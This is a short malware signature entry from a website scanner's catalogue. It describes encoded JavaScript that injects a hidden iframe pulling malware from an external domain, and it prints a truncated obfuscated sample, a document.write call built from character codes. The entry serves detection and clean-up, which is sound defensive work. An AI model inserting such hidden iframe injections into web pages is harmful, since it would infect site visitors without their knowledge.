SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwjsyadr0

malware-entry-mwjsyadr0

Description: Javascript encoded to hide an iframe from
http://yadr0.com/d/index.php

This is used to load malware from external web sites while not being visible to the user.

Affecting: Any web site

Clean up: This malware is generally hidden on .js or .php files without
heavy encoding. Searching/replacing the malware specified below should fix it.

Malware dump (sample of malware):


document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121..